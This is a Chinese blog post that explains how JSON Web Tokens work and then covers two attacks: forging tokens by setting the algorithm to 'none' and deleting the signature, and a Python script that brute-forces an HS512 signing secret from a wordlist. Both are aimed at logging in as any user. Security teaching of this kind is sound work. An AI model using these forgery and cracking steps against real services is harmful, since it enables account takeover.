JWT

一、介绍

1、用户端登录,用户名和密码在请求中被发往服务器

2、(确认登录信息正确后)服务器生成 JSON 头部和声明,将登录信息写入 JSON 的声明中(通常不 应写入密码,因为 JWT 是不加密的),并用 secret 用指定算法进行加密,生成该用户的 JWT。此时, 服务器并没有保存登录状态信息。

3、服务器将 JWT(通过响应)返回给客户端

4、用户下次会话时,客户端会自动将 JWT 写在 HTTP 请求头部的 Authorization 字段中

5、服务器对 JWT 进行验证,若验证成功,则确认此用户的登录状态

6、服务器返回响应

7、JWT由三部分组成,头部,声明,签名,以.间隔

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Njk4MDk1MDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiSmVycnkifQ.lHBU1BzLM9_GB6qfcSljmCreLyNytlv5aGIx2QKZBHva1Y1XB9LST7lE3UcbGTToUKoMNIxkqcCdaX-J7yDyHQ

头部:eyJhbGciOiJIUzUxMiJ9

声明:eyJpYXQiOjE1Njk4MDk1MDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiSmVycnkifQ

签名(密钥secret和头部中的alg加密方式组成):lHBU1BzLM9_GB6qfcSljmCreLyNytlv5aGIx2QKZBHva1Y1XB9LST7lE3UcbGTToUKoMNIxkqcCdaX-J7yDyHQ

alg:签名的加密方式

iat:jwt的签发时间

exp:jwt的过期时间,这个过期时间必须要大于签发时间

iss: jwt签发者

sub: jwt所面向的用户

aud: 接收jwt的一方

nbf: 定义在什么时间之前,该jwt都是不可用的.

jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。

二、绕过签名登录

1、前提是后端没有对签名进行验证,导致我们可以绕过

2、头部和声明都是base64加密的,可以解密出一些基本信息

3、我们伪造基本信息,然后将alg加密方式置为none或者secret置为[],使得签名失效,然后base64加密,构造新的JWT

4、将签名删掉,然后拼接头部和声明

5、在HTTP传输过程中,Base64编码中的"=","+","/"等特殊符号通过URL解码通常容易产生歧义,因此产生了与URL兼容的Base64URL编码在Base64URL编码中,"+"会变成"-","/"会变成"_","="会被去掉,以此达到url safe的目的

6、替换数据包中的JWT,从而绕过身份验证

三、爆破签名密钥

import jwt
import termcolor
if __name__ == "__main__":
    jwt_str = R'eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Njk3MjI2NDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.Y2WgbXt9wjv4p4BdM_tA9f05sG-_n1ugojijOZMXx2_Gld_Ip4dOazj9K3iWVC68W_7_HEyu2_c0qSjtqDC0Vg'
    with open('/YOUR-PATH/Top1000.txt') as f:
        for line in f:
            key_ = line.strip()
            try:
                jwt.decode(jwt_str, verify=True, key=key_)
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except jwt.exceptions.InvalidSignatureError:
                print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                continue
        else:
            print('\r', '\bsorry! no key be found.')

1、爆破出来密钥,然后自己构造JWT,从而导致任意用户登录

posted @ 2022-04-06 20:46  lnterpreter  阅读(55)  评论(0编辑  收藏  举报